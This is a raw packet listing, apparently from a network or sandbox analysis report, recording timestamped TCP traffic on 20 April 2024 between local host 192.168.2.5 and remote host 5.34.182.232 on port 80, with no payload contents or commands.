Apr 20, 2024 10:23:57.645235062 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645250082 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645271063 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645282030 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645309925 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645318031 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645347118 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645354986 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645381927 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645392895 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645418882 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645428896 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645454884 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645466089 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645493031 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645503044 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645529985 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645541906 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645566940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645571947 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645606041 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645615101 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645644903 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645659924 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645683050 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645694017 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645719051 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645729065 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645755053 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645764112 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645792007 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645803928 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645832062 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645842075 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645867109 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645881891 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645903111 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645915031 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645941019 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645950079 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645977020 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645984888 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646013975 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646027088 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646051884 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646060944 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646087885 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646097898 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646126032 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646136045 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646162033 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646171093 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646198034 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646222115 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646236897 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646260023 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646272898 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646274090 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646310091 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646317959 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646347046 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646356106 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646384001 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646397114 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646420956 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646430016 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646456957 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646476030 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646492958 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646500111 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646529913 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646534920 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646567106 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646569967 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646605968 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646608114 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646642923 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646642923 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646678925 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646682978 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646719933 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646727085 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646755934 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646764994 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646791935 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646801949 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646832943 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646838903 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.646871090 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646907091 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646941900 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.646976948 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647011995 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647048950 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647079945 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647083044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647120953 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647156000 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647191048 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647226095 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647259951 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647294998 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647305012 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647331953 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647346973 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647367954 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647373915 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647403955 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647439003 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647453070 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647475958 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647512913 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647515059 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647548914 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647584915 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647588968 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647617102 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647623062 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647659063 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647664070 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647686958 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647695065 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647731066 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647733927 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647767067 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647802114 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647813082 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647838116 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647874117 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647883892 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647910118 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647944927 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.647954941 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.647980928 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648015976 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648025036 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648053885 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648089886 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648103952 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648145914 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648183107 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648195028 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648219109 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648255110 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648263931 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648292065 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648327112 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648330927 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648365021 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648399115 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648406029 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648436069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648471117 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648474932 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648508072 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648545027 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648546934 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648581028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648617029 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648618937 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648653984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648689985 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648690939 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648725033 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648760080 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648761988 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648797989 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648833036 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648835897 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648869038 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648904085 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648907900 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.648941994 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648978949 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.648988962 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649014950 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649020910 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649050951 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649056911 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649086952 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649092913 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649122953 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649130106 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649161100 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649169922 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649197102 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649203062 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649235010 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649241924 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649271965 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649277925 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649307966 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649313927 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649343967 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649348974 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649380922 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649385929 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649416924 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649420977 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649452925 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649456978 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649488926 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649498940 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649524927 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649528980 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649568081 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.649569035 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.649610996 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.681246042 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.681308985 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.681341887 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.681361914 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884500027 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884556055 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884593964 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884630919 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884639025 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884666920 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884669065 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884704113 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884707928 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884732962 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884743929 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884752989 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884783030 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884789944 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884819031 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884833097 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884856939 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884869099 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884896040 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884902954 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884933949 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884944916 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.884972095 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.884983063 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885008097 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885020018 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885046005 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885066986 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885083914 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885094881 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885134935 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885139942 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885178089 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885184050 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885214090 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885226011 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885252953 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885261059 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885293007 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885294914 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885329008 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885334969 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885368109 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885374069 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885404110 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885411978 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885440111 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885447025 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885476112 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885481119 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885513067 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885519028 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885550022 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885565042 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885586977 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885591030 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885627031 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885631084 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885663986 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885670900 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885700941 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885705948 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885736942 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885746002 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885775089 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885778904 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885812044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885818958 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885848045 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885854959 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885885000 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885890007 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885921955 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885934114 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885957956 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.885963917 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.885997057 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886003017 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886034966 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886042118 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886070967 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886076927 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886107922 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886111021 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886145115 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886148930 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886181116 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886189938 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886218071 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886220932 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886254072 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886269093 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886290073 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886295080 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886327982 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886338949 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886363983 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886370897 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886400938 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886408091 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886436939 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886446953 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886480093 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886480093 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886516094 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886523962 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886554003 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886558056 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886591911 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886598110 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886630058 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886635065 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886665106 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886672974 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886703014 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886708975 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886739016 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886746883 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886775970 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886780977 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886812925 CEST	80	49720	5.34.182.232	192.168.2.5
